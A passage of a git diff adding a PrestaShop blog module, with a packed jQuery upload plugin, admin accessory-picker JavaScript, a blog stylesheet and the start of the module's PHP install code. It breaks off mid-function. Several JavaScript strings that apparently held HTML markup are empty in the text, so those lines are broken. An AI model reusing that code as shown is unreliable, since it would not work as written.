p}(';3(U.1u)(6($){$.7.2=6(h){3(5.V==0)8 5;3(T S[0]==\'19\'){3(5.V>1){m i=S;8 5.M(6(){$.7.2.13($(5),i)})};$.7.2[S[0]].13(5,$.1N(S).27(1)||[]);8 5};m h=$.N({},$.7.2.F,h||{});$(\'2d\').1B(\'2-R\').Q(\'2-R\').1n($.7.2.Z);3($.7.2.F.15){$.7.2.1M($.7.2.F.15);$.7.2.F.15=10};5.1B(\'.2-1e\').Q(\'2-1e\').M(6(){U.2=(U.2||0)+1;m e=U.2;m g={e:5,E:$(5),L:$(5).L()};3(T h==\'21\')h={l:h};m o=$.N({},$.7.2.F,h||{},($.1m?g.E.1m():($.1S?g.E.17():10))||{},{});3(!(o.l>0)){o.l=g.E.D(\'28\');3(!(o.l>0)){o.l=(u(g.e.1D.B(/\\b(l|23)\\-([0-9]+)\\b/q)||[\'\']).B(/[0-9]+/q)||[\'\'])[0];3(!(o.l>0))o.l=-1;2b o.l=u(o.l).B(/[0-9]+/q)[0]}};o.l=18 2f(o.l);o.j=o.j||g.E.D(\'j\')||\'\';3(!o.j){o.j=(g.e.1D.B(/\\b(j\\-[\\w\\|]+)\\b/q))||\'\';o.j=18 u(o.j).t(/^(j|1d)\\-/i,\'\')};$.N(g,o||{});g.A=$.N({},$.7.2.F.A,g.A);$.N(g,{n:0,J:[],2c:[],1c:g.e.I||\'2\'+u(e),1i:6(z){8 g.1c+(z>0?\'1Z\'+u(z):\'\')},G:6(a,b){m c=g[a],k=$(b).D(\'k\');3(c){m d=c(b,k,g);3(d!=10)8 d}8 1a}});3(u(g.j).V>1){g.j=g.j.t(/\\W+/g,\'|\').t(/^\\W|\\W$/g,\'\');g.1k=18 2t(\'\\\\.(\'+(g.j?g.j:\'\')+\')$\',\'q\')};g.O=g.1c+\'1P\';g.E.1l(\'

        \');g.1q=$(\'#\'+g.O+\'\');g.e.H=g.e.H||\'p\'+e+\'[]\';3(!g.K){g.1q.1g(\'

        \');g.K=$(\'#\'+g.O+\'1F\')};g.K=$(g.K);g.16=6(c,d){g.n++;c.2=g;3(d>0)c.I=c.H=\'\';3(d>0)c.I=g.1i(d);c.H=u(g.1j.t(/\\$H/q,$(g.L).D(\'H\')).t(/\\$I/q,$(g.L).D(\'I\')).t(/\\$g/q,e).t(/\\$i/q,d));3((g.l>0)&&((g.n-1)>(g.l)))c.14=1a;g.Y=g.J[d]=c;c=$(c);c.1b(\'\').D(\'k\',\'\')[0].k=\'\';c.Q(\'2-1e\');c.1V(6(){$(5).1X();3(!g.G(\'1Y\',5,g))8 y;m a=\'\',v=u(5.k||\'\');3(g.j&&v&&!v.B(g.1k))a=g.A.1o.t(\'$1d\',u(v.B(/\\.\\w{1,4}$/q)));1p(m f 2a g.J)3(g.J[f]&&g.J[f]!=5)3(g.J[f].k==v)a=g.A.1r.t(\'$p\',v.B(/[^\\/\\\\]+$/q));m b=$(g.L).L();b.Q(\'2\');3(a!=\'\'){g.1s(a);g.n--;g.16(b[0],d);c.1t().2e(b);c.C();8 y};$(5).1v({1w:\'1O\',1x:\'-1Q\'});c.1R(b);g.1y(5,d);g.16(b[0],d+1);3(!g.G(\'1T\',5,g))8 y});$(c).17(\'2\',g)};g.1y=6(c,d){3(!g.G(\'1U\',c,g))8 y;m r=$(\'

        \'),v=u(c.k||\'\'),a=$(\'<1z X="2-1A" 1A="\'+g.A.12.t(\'$p\',v)+\'">\'+g.A.p.t(\'$p\',v.B(/[^\\/\\\\]+$/q)[0])+\'\'),b=$(\'\'+g.A.C+\'\');g.K.1g(r.1g(b,\' \',a));b.1C(6(){3(!g.G(\'22\',c,g))8 y;g.n--;g.Y.14=y;g.J[d]=10;$(c).C();$(5).1t().C();$(g.Y).1v({1w:\'\',1x:\'\'});$(g.Y).11().1b(\'\').D(\'k\',\'\')[0].k=\'\';3(!g.G(\'24\',c,g))8 y;8 y});3(!g.G(\'25\',c,g))8 y};3(!g.2)g.16(g.e,0);g.n++;g.E.17(\'2\',g)})};$.N($.7.2,{11:6(){m a=$(5).17(\'2\');3(a)a.K.26(\'a.2-C\').1C();8 $(5)},Z:6(a){a=(T(a)==\'19\'?a:\'\')||\'1E\';m o=[];$(\'1h:p.2\').M(6(){3($(5).1b()==\'\')o[o.V]=5});8 $(o).M(6(){5.14=1a}).Q(a)},1f:6(a){a=(T(a)==\'19\'?a:\'\')||\'1E\';8 $(\'1h:p.\'+a).29(a).M(6(){5.14=y})},R:{},1M:6(b,c,d){m e,k;d=d||[];3(d.1G.1H().1I("1J")<0)d=[d];3(T(b)==\'6\'){$.7.2.Z();k=b.13(c||U,d);1K(6(){$.7.2.1f()},1L);8 k};3(b.1G.1H().1I("1J")<0)b=[b];1p(m i=0;i
        '); + $nameAccessories.val($nameAccessories.val() + productName + '¤'); + $inputAccessories.val($inputAccessories.val() + productId + '-'); + $('#product_autocomplete_input').val(''); + $('#product_autocomplete_input').setOptions({ + extraParams: {excludeIds : getAccessoriesIds()} + }); + } + + function delAccessory(id) + { + var div = getE('divAccessories'); + var input = getE('inputAccessories'); + var name = getE('nameAccessories'); + + // Cut hidden fields in array + var inputCut = input.value.split('-'); + var nameCut = name.value.split('¤'); + + if (inputCut.length != nameCut.length) + return jAlert('Bad size'); + + // Reset all hidden fields + input.value = ''; + name.value = ''; + div.innerHTML = ''; + for (i in inputCut) + { + // If empty, error, next + if (!inputCut[i] || !nameCut[i]) + continue ; + + // Add to hidden fields no selected products OR add to select field selected product + if (inputCut[i] != id) + { + input.value += inputCut[i] + '-'; + name.value += nameCut[i] + '¤'; + div.innerHTML += nameCut[i] + '
        '; + } + else + $('#selectAccessories').append(''); + } + + $('#product_autocomplete_input').setOptions({ + extraParams: {excludeIds : getAccessoriesIds()} + }); + } + +$(function(){ + + $(".copy2friendlyBlogUrl").live('keyup change',function(e){ + if(!isArrowKey(e)){ + return copy2friendlyBlogUrl($(this).attr('id')); + } + }); + +}); + + + + diff --git a/modules/psblog/logo.png b/modules/psblog/logo.png new file mode 100755 index 0000000..6affc33 Binary files /dev/null and b/modules/psblog/logo.png differ diff --git a/modules/psblog/psblog.css b/modules/psblog/psblog.css new file mode 100755 index 0000000..316d08c --- /dev/null +++ b/modules/psblog/psblog.css @@ -0,0 +1,714 @@ +body#module-psblog-posts +{ + background:url("../../../themes/default/img/bg_blog.jpg") center center repeat-y #000; +} +.psblog_head h2{ + color:#fff; + height:150px; + text-align: center; +} + +div.article.borderGreen, +div#post_list li.borderGreen{ + padding:0px !important; + width:100% !important; + position:relative !important; + z-index:1 !important; + min-height: inherit !important; +} +div.article.borderGreen{ + background:none !important; +} + +.blog_block_right.posts_block ul li{ + border-top:7px solid #b9da1a; +} +/* +div.article.borderGreen .stared, +div#post_list li.borderGreen .stared{ + position:absolute; + height:75px; + text-align: center; + padding-top:24px; + width:113px; + color:#000; + z-index:2; + left:-56px; + top:-56px; + background:url("../../../themes/default/img/bg_star.png") center center no-repeat transparent; +} +*/ + +div.article.borderGreen .stared, +div#post_list li.borderGreen .stared{ + position:absolute; + height:75px; + text-align: center; + padding-top:46px; + width:113px; + color:#000; + z-index:2; + left:-56px; + top:-60px; + background:url("../../../themes/default/img/bg_star.png") center center no-repeat transparent; +} + +div.article.borderGreen span.stared span.top, +#post_list ul li span.stared span.top{ + font-family: 'ProximaNova'; + font-size:30px; + color:#000; + display:block; +} + + + +div.article.borderGreen span.stared span.bottom, +#post_list ul li span.stared span.bottom{ + font-family: 'ProximaNova'; + font-size:12px; + color:#000; + display:block; +} + + +#post_list ul li .detail_large{ + padding:0px 85px 20px 85px; + font-family: 'ProximaNova'; + font-size:15px; + color:#232323; + line-height:1.3em; +} + +.share .details a, +#post_list ul li .details span a{ + display: inline-block; + background: #000; + padding:5px 15px; + font-size:18px; + color:#fff; + text-transform: uppercase; + font-weight: normal; + font-style: normal; + margin:0 10px 10px 0; + font-family: 'ProximaNova'; +} +.posts_block .block_content p.pmore, +div.more{ + padding:0px 85px; + height:42px; + line-height:42px; + background:#000; + color:#b9da1a; + font-family: Times new roman, serif; + font-size:16px; + text-transform: uppercase; +} +.posts_block .block_content p.pmore{ + padding:0px 15px; +} +.posts_block .block_content p.pmore a{ + color:#b9da1a; +} +.triple_stared +{ + display: inline-block; + height:13px; + width:43px; + margin-left:10px; + background:url(../../../themes/default/img/triple_star.png) center center no-repeat #000; +} +body#module-psblog-posts #center_column{width:650px;} +body#module-psblog-posts #right_column{display:block; width:326px; margin-top:0px; } + +#psblog .search-keyword { color: #999; font-style: italic; border-bottom: 1px solid #999; padding: 0 0 5px 5px;} +#module-psblog-posts .breadcrumb{ } +#post_view .rte{ text-align:justify; } +#post_view .rte a{color:#b9da1a;} +#post_view .rte a:hover{color:#333;} +#post_view .rte h4, +#post_view .rte h4 *{ + font-weight: normal; + text-shadow:0px 0px 0px transparent; + font-family: 'ProximaNova'; + font-size: 18px !important; + text-transform: none; + text-align: left; + margin-bottom:10px; +} +#post_view .rte h4 strong{font-weight:bold;} +#post_view .rte p{ + color:#333; +} +#post_view .medias{ float:left; margin-right:5px; padding:0 5px; } +#post_view .media_list ul{ margin:0; padding:0; } +#post_view .media_list ul li{ display:block; margin:0; text-align:right; padding:0; margin-top:5px; text-align:center; } + +#post_view .categories{ margin:20px 0; } +#post_view .categories ul{ margin:0; padding:0; list-style-type:none; } +#post_view .categories ul li{float:left; margin-right:3px; } +#post_view .categories a{ text-decoration:underline; } + +#post_view .related{ margin:20px 0; } +#post_view .related ul{ list-style-type:none; } +#post_view .related a{ text-decoration:underline; } + +#post_view .rte img { display: block; width: 100%; } +#post_view .products h3 { border-top: 1px solid #000; color: #000; font-size: 12px; font-weight: bold; margin: 30px 0 0 0; padding: 10px 0; text-transform: uppercase; } +#post_view .products img{ display: block; } +#post_view .products h5{ padding:0; min-height:22px; text-transform: uppercase; width: 100%;} +#post_view .products h5 > span{ display: block; font-size:10px; font-weight:normal; font-style:italic; color:#666; } +#post_view .products p{ margin:0; padding:0; } +#post_view .products ul{ list-style-type:none; } +#post_view .products ul li{ padding:5px; background: none repeat scroll 0 0 #fff; border: 1px solid #ddd; width: 47%; } +#post_view .products ul li.odd{ float:left; } +#post_view .products ul li.even{ float:right; } +#post_view .products .text_desc{ float: left; margin: 2px 0 0 10px; width: 216px; font-size: 14px;} +#post_view .products a.content_img{ outline: medium none; display:block; float:left; display:block; } +#post_view .addthis_toolbox{ margin:10px 0 10px 0; } + +#postcomments{margin-top:10px;} +#postcomments h3 { background:rgba(255,255,255,0.3); font-style: italic; line-height:1.1em; color: #000; font-size: 36px; font-weight: normal; padding: 10px 85px; text-transform: capitalize; } +#postcomments table { background: #f5f5f5; border-top: 1px solid #d9d9d9; } +#postcomments table td:last-child { background: #fff; } +#postcomments table .comment-title { font-size: 14px; font-weight: bold; line-height: 18px; padding: 0 7px 10px 0; } +#postcomments .std thead th { background:none; } +#postcomments .std tbody td p span { font-weight:bold; } +#postcomments input[type=text]{ width:600px !important; } + +#post_list { color: #000; font-size: 12px; } +#post_list ul{ margin:0; padding:0; list-style-type:none; } +#post_list ul li{ margin:20px 0; padding:0 0 10px 0; list-style-type:none; border-bottom:1px solid #000; cursor: pointer; } +#post_list ul li:first-child{ + margin-top:0px; +} +#post_list ul li.first_item{ margin:0 0 20px 0; } +#post_list ul li.last_item{ border-bottom:none; } +#post_list ul li h3{ margin-top:0; margin-bottom:0; padding-bottom:5px; } + +#category_info span.bold{ font-weight:bold; } +#category_info h4{ font-size:13px; padding-bottom: 5px; } + +#page .article.borderGreen h1{ + margin: 0; + text-align: left; + text-transform: none; +} +.article.borderGreen h3, +.article.borderGreen .top-article, +#post_list ul li h2 { padding: 0; } +.article.borderGreen h3 span.title, +#page .article.borderGreen .top-article h1.title, +#post_list ul li h2 a{ color: #000; line-height:1.15em; font-size: 26px; font-weight: normal; text-decoration:none; font-family: Times new roman, serif; font-style: italic; } +#post_list ul li h2 a:hover{ text-decoration:none; } +#post_list ul li p{ font-style: italic; padding-bottom:0; } +.article.borderGreen .img_default, +#post_list ul li .img_default{ margin: 0; position:relative; } +.article.borderGreen .img_default h3, +.article.borderGreen .img_default .top-article, +#post_list ul li .img_default h2{ position:absolute; bottom:0; left:0; right:0; padding:20px 86px; background:rgba(255,255,255,0.6); } +#post_list ul li.noimg .img_default h2{ position:relative; padding:20px 86px; background:rgba(0,0,0,0.1); } + +#post_list ul li .img_default a{ display:block; } +#post_list ul li .detail_left{ float:left; margin: 10px 0 0 0; width: 497px;} +#post_list ul li .excerpt { margin: 15px 0; text-align: justify; } + +#posts_home .block_content{ padding:5px 10px 5px 10px; } +#posts_home ul{ margin:0; padding:0; list-style-type:none; } +#posts_home ul li{ margin:0 0; padding:10px 0 5px 0; list-style-type:none; border-bottom:1px solid #D0D3D8; } +#posts_home ul li h3{ margin-top:0; margin-bottom:0; padding-bottom:5px; font-size:12px; } +#posts_home ul li h3 a{ text-decoration:none; } +#posts_home ul li h3 a:hover{ text-decoration:underline; } +#posts_home ul li span{ color:#999999; font-size:11px; } +#posts_home ul li .excerpt{ margin-top:5px; } +#posts_home ul li .img_default{ float:left; margin-right:5px; } +#posts_home ul li .img_default img{ border: 0; } +#posts_home ul li .detail_left{ float:left; width:400px; } +#posts_home ul li.last_item{ border:none; } + +.bt_left{ float:left; } +.bt_right{float:right; } +.clear{ clear:both; } +#posts_home h4 span{ font-size:10px; float:right; margin-right:5px; text-transform:none; } + +/* block search column */ +.post_search_block{ + border-top:7px solid #b9da1a; + margin-top:20px; + background:#000; + padding:5px 15px; + color:#fff !important; + cursor: pointer; +} +.post_search_block p{ + color:#fff; + padding:0px; + margin-top:5px; + font-size:16px; + text-transform: uppercase; +} +.post_search_block a{ + display: block; + margin:10px 0; + text-transform: uppercase; + font-size: 16px; + font-family: 'Times new roman', serif; + color:#b9da1a !important; +} +.post_search_block a:hover{ + text-decoration: none; +} +/* +.post_search_block .block_content{ padding:20px; background:rgba(255,255,255,0.3); } +.post_search_block input[type=text]{ + padding:0 8px; + line-height:28px; + width:225px; + height:28px; + border:1px solid #d2d2d2; + box-shadow:inset -1px 1px 2px rgba(0,0,0,0.2); + font-size:14px; + font-style: italic; + font-weight: normal; + color:#666; + font-family: 'ProximaNova'; + } + +.post_search_block input[type=submit] +{ + background:url(../../../themes/default/img/search.png) center center no-repeat #b9da1a; + border:1px solid #c4c4c4; + height:30px; + width:30px; + cursor: pointer; + top:-1px; + position:relative; + margin-top:-1px; + text-indent: -9999px; + +} + +.post_search_block p{ padding:0; font-weight:bold; } +*/ +.posts_block li{ } +.posts_block li.last_item{ border: none; } +.posts_block li a{ background: none; font-size: 14px; padding: 0; } +.posts_block li h5{ margin: 10px 0 0 0; } +.posts_block li h5 + span{ color: #777; } +.posts_block .post_img{ width:100%; } + +.posts_block .post_img img{ + min-width:100%; + width:100%; + max-width:100%; +} +.posts_block .content{ + padding:20px; +} +.posts_block .content h5{ + margin:0px; + padding:0px; + font-family:Times new roman, serif; + text-transform: uppercase; + font-size: 14px; + color:#000; + line-height:1.5em; +} +.posts_block .content span.date{ + color:#666; + font-size:14px; + margin-top:5px; + display: block; +} + +.posts_archives_block{ + background:rgba(0,0,0,0.7); +} +.posts_block, +.posts_block_categories{ + background:#fff; +} +.posts_block_categories{ + margin:0px; + border-top:7px solid #b9da1a; +} + +.post_search_block h4, +.posts_archives_block h4, +.posts_block h4, +.posts_block_categories h4{ + background:#b9da1a; + font-weight: normal; + font-size:18px; + padding:0px; + height: 33px; + line-height: 33px; + color:#000; + text-align: center; + text-transform: uppercase; +} +.post_search_block h4 a, +.posts_archives_block h4 a, +.posts_block h4 a{ + color:#000; +} +.posts_block_categories{padding:10px 0;} +.posts_archives_block ul, +.posts_block_categories ul{ list-style: none; } +.posts_block_categories ul li ul{ margin-left:15px; } +.posts_archives_block li, +.posts_block_categories li { border:none !important; position:relative; } +.posts_block_categories li.current a{color:#b9da1a;} +.posts_block_categories li:after{ + content:""; + width:173px; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../../themes/default/img/bg_bottom_list.png) center center no-repeat transparent; +} +.posts_block_categories li:last-child:after{ + display:none; +} +.posts_archives_block ul li a, +.posts_block_categories ul li a { + color: #333333; + display: block; + padding: 30px 0; + text-align: center; + font-family: Times new roman, serif; + font-size:18px; + text-transform: uppercase; +} + +div.products ul li div.text_desc h5 a:hover, +.share .details a:hover, +#post_list ul li .details span a:hover, +.posts_archives_block ul li a:hover, +.posts_block_categories ul li a:hover{ + text-decoration: none; + color:#b9da1a; +} +.posts_archives_block ul li a{ + color:#fff; + letter-spacing: 2px; +} + +.posts_archives_block li:after{ + content:""; + width:173px; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../../themes/default/img/bg_bottom_list_white.png) center center no-repeat transparent; +} + +.posts_archives_block li:last-child:after{ + display:none; +} + +/* +.posts_block .block_content p.pmore{ + background:#000; +} +.posts_block .block_content p.pmore a.more +{ + font-weight: bold; + background: url("../../../themes/default/img/homeblockFleche1.png") no-repeat scroll right center #b9da1a; + border:1px solid #a9c717; + color: #000; + display: inline-block; + height:30px; + margin-left:5px; + line-height: 30px; + padding:0 30px 0 14px; + width: auto; +} +*/ + +.blog_block_footer{ float:left; max-width:200px; padding: 15px 10px; } +.blog_block_footer h4{ background: none; font-weight:normal; font-size:14px; padding:0; } +.blog_block_footer ul li a{ background:none; padding:0; border:none; } +.posts_block.blog_block_footer li{ border:none; } + + +.posts_archives_block .block_content{ background:transparent;} +/* .posts_archives_block .block_content ul li li a{ padding: 4px 0px 4px 32px; } */ +.posts_archives_block .block_content a{ + +} +.posts_archives_block .block_content a.posts_month{ + font-weight:normal; +} + +#ProductPosts { clear: both;} +#ProductPosts h3 { border-top: 1px solid #000; color: #000; font-size: 12px; font-weight: bold; margin: 30px 0 0 0; padding: 10px 0; text-transform: uppercase; } + +::-webkit-input-placeholder { /* WebKit browsers */ + color: #666; +} +:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ + color: #666; + opacity: 1; +} +::-moz-placeholder { /* Mozilla Firefox 19+ */ + color: #666; + opacity: 1; +} +:-ms-input-placeholder { /* Internet Explorer 10+ */ + color: #666; +} + +div.article div.content div#post_view{ + padding:20px 86px; + background:#fff; +} +div.article div.content div#post_view div.rte, +div.article div.content div#post_view div.rte *{ + font-family: 'ProximaNova'; + font-size: 14px; + line-height: 1.5em +} +div.share{ + background:rgba(255,255,255,0.4); + border-top:7px solid #b9da1a; + padding:20px 86px; +} +.share p.details{ + width:50%; + float:left; +} +.share div.addthis_toolbox{ + width:50%; + float:left; +} +.share .addthis_toolbox span, +.share .details span{ + display: block; + color:#fff; + font-size:11px; + font-family:'ProximaNova'; + margin-bottom:5px; +} + +div.products{ + margin-top:10px; + background:#fff; + padding:10px 86px; + border-top:7px solid #b9da1a; + border-bottom:7px solid #b9da1a; +} +div.products h3{ + height:85px; + line-height:85px; + color:#000; + text-transform: uppercase; + text-align: center; + font-size: 23px; +} + + +div.products ul li a.content_img{ + display:block; + width:130px; + height:130px; + line-height:130px; + float: left; + text-align: center; +} + +div.products ul li a.content_img img{ + max-width:100%; + max-height:100%; +} + +div.products ul li div.text_desc{ + float:left; + width:348px; +} + +div.products ul li div.text_desc h5{ + font-size:18px; + font-family:'ProximaNova'; + margin-bottom: 10px; +} + +div.products ul li div.text_desc p{ + font-size:14px; + font-family:'ProximaNova'; +} +div.products ul li div.text_desc p a.more{ + background:#B9DA1A; + color:#000; + font-family:Times new roman; + font-size:16px; + text-transform:uppercase; + padding:10px 23px 10px 18px; + border:1px solid #c4c4c4; +} +div.products ul li div.text_desc p a.more:hover{ + text-decoration: none; +} +div.products ul li div.text_desc p a.more span{ + margin-left:10px; +} + +.comment_content +{ + background: #fff; + padding:35px 85px 55px 85px; + border-top:7px solid #b9da1a; +} +.comment_content input[type=text], +.comment_content textarea +{ + background:#fff; + padding:3px 2%; + border:1px solid #c6c6c6; + box-shadow:inset 1px 1px 3px rgba(0,0,0,0.3); + min-width: 95%; + width: 95%; + max-width: 95%; +} +.comment_content textarea{ + padding:11px 2%; +} +#columns{ + padding-bottom:30px; +} +.comment_content .sheets{ + margin-bottom:20px; +} +.comment_content form h4{ + margin:10px 0px; + text-align: left; + font-family: 'ProximaNova'; + text-transform: none; + font-size:18px; + font-weight:normal; + +} + +.comment_content div.intro{ + color:#666666; + margin-bottom:20px; +} +.comment_content div.content{ + font-size:14px; +} + + + + +div.products ul li, +.comment_content .comment{ border:none !important; position:relative; padding:20px 0; } + +div.products ul li{ + padding:20px 0 0 0; +} +div.products ul li:after, +.comment_content .comment:after{ + content:""; + width:100%; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../../themes/default/img/bg_bottom_list_big.png) center center no-repeat transparent; +} +div.products ul li:last-child:after, +.comment_content .comment:last-child:after{ + display:none; +} +.comment_content .comment p{ + margin:0px !important; + padding:0px !important; +} + +@media (max-width:720px){ + + div#module-psblog-posts{ + background:url("../../../themes/default/img/bg_blog.jpg") center center repeat-y #000; + } + + .article.borderGreen .img_default h3, + #post_list ul li .img_default h2 + { + position:absolute; + bottom:0; + left:0; + right:0; + padding:20px 86px; + margin-bottom:0px; + background:rgba(255,255,255,0.6); + } + + + div.article.borderGreen .stared, + div#post_list li.borderGreen .stared{ + background-size: 90px; + height:75px; + left:-29px; + padding-top:39px; + top:-57px; + } + + + + div.article.borderGreen span.stared span.top, + #post_list ul li span.stared span.top{ + font-size:20px; + } + + div.article.borderGreen span.stared span.bottom, + #post_list ul li span.stared span.bottom{ + font-size:10px; + } +} + +.psblog_title{ + display: block; + text-align: center; + margin: 25px 0; +} +.psblog_title .psblog_title-inner{ + margin: 0; + padding: 0; + color: #fff; + font-family: 'trajan'; + font-size: 60px; + line-height: 60px; + position: relative; +} +.psblog_title .psblog_title-inner:hover{ + text-decoration: none; +} +.psblog_title .psblog_title-inner:before, +.psblog_title .psblog_title-inner:after{ + content: ''; + position: absolute; + height: 74px; + width: 13px; + background:url("../../../themes/default/img/bg-title-blog.png") center center; +} +.psblog_title .psblog_title-inner:before{ + top: 0; + left: -20px; +} +.psblog_title .psblog_title-inner:after{ + top: 0; + right: -20px; + -webkit-transform: rotate(180deg); + -moz-transform: rotate(180deg); + -ms-transform: rotate(180deg); + -o-transform: rotate(180deg); + transform: rotate(180deg); +} \ No newline at end of file diff --git a/modules/psblog/psblog.php b/modules/psblog/psblog.php new file mode 100755 index 0000000..ffc5c8b --- /dev/null +++ b/modules/psblog/psblog.php @@ -0,0 +1,1133 @@ + 0, + "img_width" => 200, + "img_list_width" => 100, + "category_active" => 1, + "product_active" => 1, + "related_active" => 1, + "product_page_related" => 1, + "product_img_format" => "medium_default", + "comment_active" => 1, + "comment_moderate" => 1, + "comment_guest" => 1, + "comment_min_time" => 20, + "comment_name_min_length" => 2, + "view_display_date" => 1, + "view_display_popin" => 1, + "list_limit_page" => 5, + "list_display_date" => 1, + "file_formats" => "jpg|jpeg|png|gif|JPG|JPEG|PNG|GIF", + "img_save_path" => "modules/psblog/uploads/", + "rss_active" => 1, + "rss_display" => "excerpt", + "share_active" => 1, + //last posts block + + "img_block_width" => 50, + "block_limit_items" => 5, + "block_display_date" => 1, + "block_display_img" => 1, + "block_articles_home" => 0, + //category block + "block_display_subcategories" => 0, + "featured_block_limit" => 5, + "featured_block_home" => 0, + "block_left" => array("posts" => 1, "posts_position" => 1, + "categories" => 1, "categories_position" => 2, + "archives" => 0, "archives_position" => 0, + "featured" => 0, "featured_position" => 0, + "search" => 0, "search_position" => 0, + ), + "block_right" => array("posts" => 0, "posts_position" => 0, + "categories" => 0, "categories_position" => 0, + "archives" => 1, "archives_position" => 2, + "featured" => 1, "featured_position" => 1, + "search" => 1, "search_position" => 3, + ), + "block_footer" => array("posts" => 0, "posts_position" => 0, + "categories" => 0, "categories_position" => 0, + "archives" => 0, "archives_position" => 0, + "featured" => 0, "featured_position" => 0, + "search" => 0, "search_position" => 0, + ), + ); + + public function __construct() { + $this->name = 'psblog'; + $this->version = '2.3'; + $this->module_key = "2eb7d51fcd2897494f1d594063c940cc"; + $this->need_instance = 0; + $this->tab = 'front_office_features'; + + parent::__construct(); + + $this->checkServerConf(); + + $this->author = 'APPSIDE'; + $this->displayName = $this->l('Prestablog'); + $this->description = $this->l('Blog module, articles, categories, comments and products related'); + $this->confirmUninstall = $this->l('Are you sure you want to delete all Blog posts, Blog categories and Blog comments ?'); + } + + public function install() { + if (!parent::install() || !$this->registerHook('leftColumn') || !$this->registerHook('rightColumn') || !$this->registerHook('footer') || !$this->registerHook('displayHome')) + return false; + + if (!Configuration::updateValue('PSBLOG_CONF', base64_encode(serialize(self::$default_values)))) + return false; + + Configuration::updateValue('PSBLOG_VERSION', $this->version); + + $this->createAdminTabs(); + + @copy(dirname(__FILE__) . "/AdminBlog.gif", _PS_ROOT_DIR_ . "/img/t/AdminBlog.gif"); + + if (!$this->registerHook('header') OR !$this->registerHook('actionHtaccessCreate') OR !$this->registerHook('displayProductTab') OR !$this->registerHook('displayProductTabContent')) + return false; + + require_once(dirname(__FILE__) . '/install-sql.php'); + + $this->generateRewriteRules(); + + BlogShop::generateSitemap(); + + return true; + } + + private function createAdminTabs() { + + $langs = Language::getLanguages(); + $id_lang = (int) Configuration::get('PS_LANG_DEFAULT'); + + /**** create tab publications ****/ + + $tab0 = new Tab(); + $tab0->class_name = "AdminBlog"; + $tab0->module = "psblog"; + $tab0->id_parent = 0; + foreach ($langs as $l) { + $tab0->name[$l['id_lang']] = $this->l('Blog'); + } + $tab0->save(); + $blog_tab_id = $tab0->id; + + $tab1 = new Tab(); + $tab1->class_name = "AdminBlogPosts"; + $tab1->module = "psblog"; + $tab1->id_parent = $blog_tab_id; + foreach ($langs as $l) { + $tab1->name[$l['id_lang']] = $this->l('Blog posts'); + } + $tab1->save(); + + /**** create tab categories ****/ + $tab2 = new Tab(); + $tab2->class_name = "AdminBlogCategories"; + $tab2->module = "psblog"; + $tab2->id_parent = $blog_tab_id; + foreach ($langs as $l) { + $tab2->name[$l['id_lang']] = $this->l('Blog categories'); + } + $tab2->save(); + + /**** create tab comments ****/ + $tab3 = new Tab(); + $tab3->class_name = "AdminBlogComments"; + $tab3->module = "psblog"; + $tab3->id_parent = $blog_tab_id; + foreach ($langs as $l) { + $tab3->name[$l['id_lang']] = $this->l('Blog comments'); + } + $tab3->save(); + + /**** create tab stats ****/ + $tab4 = new Tab(); + $tab4->class_name = "AdminBlogStats"; + $tab4->module = "psblog"; + $tab4->id_parent = $blog_tab_id; + foreach ($langs as $l) { + $tab4->name[$l['id_lang']] = $this->l('Informations'); + } + $tab4->save(); + + /**** create tab conf ****/ + $tab5 = new Tab(); + $tab5->class_name = "AdminBlogConf"; + $tab5->module = "psblog"; + $tab5->id_parent = $blog_tab_id; + foreach ($langs as $l) { + $tab5->name[$l['id_lang']] = $this->l('Configuration'); + } + $tab5->save(); + + /*** RIGHTS MANAGEMENT ***/ + Db::getInstance()->Execute('DELETE FROM ' . _DB_PREFIX_ . 'access WHERE `id_tab` = ' . (int) $tab0->id . ' + OR `id_tab` = ' . (int) $tab1->id . ' OR `id_tab` = ' . (int) $tab2->id . ' + OR `id_tab` = ' . (int) $tab4->id . ' OR `id_tab` = ' . (int) $tab3->id); + + Db::getInstance()->Execute('DELETE FROM ' . _DB_PREFIX_ . 'module_access WHERE `id_module` = ' . (int) $this->id); + + $profiles = Profile::getProfiles($id_lang); + + if (count($profiles)) { + foreach ($profiles as $p) { + + Db::getInstance()->Execute('INSERT IGNORE INTO `' . _DB_PREFIX_ . 'access`(`id_profile`,`id_tab`,`view`,`add`,`edit`,`delete`) + VALUES (' . $p['id_profile'] . ', ' . (int) $tab0->id . ',1,1,1,1)'); + + Db::getInstance()->Execute('INSERT IGNORE INTO `' . _DB_PREFIX_ . 'access`(`id_profile`,`id_tab`,`view`,`add`,`edit`,`delete`) + VALUES (' . $p['id_profile'] . ', ' . (int) $tab1->id . ',1,1,1,1)'); + + Db::getInstance()->Execute('INSERT IGNORE INTO `' . _DB_PREFIX_ . 'access`(`id_profile`,`id_tab`,`view`,`add`,`edit`,`delete`) + VALUES (' . $p['id_profile'] . ', ' . (int) $tab2->id . ',1,1,1,1)'); + + Db::getInstance()->Execute('INSERT IGNORE INTO `' . _DB_PREFIX_ . 'access`(`id_profile`,`id_tab`,`view`,`add`,`edit`,`delete`) + VALUES (' . $p['id_profile'] . ',' . (int) $tab3->id . ',1,1,1,1)'); + + Db::getInstance()->Execute('INSERT IGNORE INTO `' . _DB_PREFIX_ . 'access`(`id_profile`,`id_tab`,`view`,`add`,`edit`,`delete`) + VALUES (' . $p['id_profile'] . ',' . (int) $tab4->id . ',1,1,1,1)'); + + Db::getInstance()->Execute('INSERT IGNORE INTO `' . _DB_PREFIX_ . 'access`(`id_profile`,`id_tab`,`view`,`add`,`edit`,`delete`) + VALUES (' . $p['id_profile'] . ',' . (int) $tab5->id . ',1,1,1,1)'); + + Db::getInstance()->execute('INSERT INTO ' . _DB_PREFIX_ . 'module_access(`id_profile`, `id_module`, `configure`, `view`) + VALUES (' . $p['id_profile'] . ',' . (int) $this->id . ',1,1)'); + } + } + } + + public static function getRewriteCode($id_lang) { + $category = new BlogCategory(1, $id_lang); + + if (trim($category->link_rewrite) == '') { + $defaultCategory = new BlogCategory(1, Configuration::get('PS_LANG_DEFAULT')); + $category->link_rewrite = $defaultCategory->link_rewrite; + } + + return $category->link_rewrite; + } + + public static function generateRewriteRules() { + + if (Configuration::get('PS_REWRITING_SETTINGS')) { + + $rules = "\n#start_prestablog - not remove this comment \n"; + + $activeLanguages = Language::getLanguages(true); + $default_lang_rewrite = 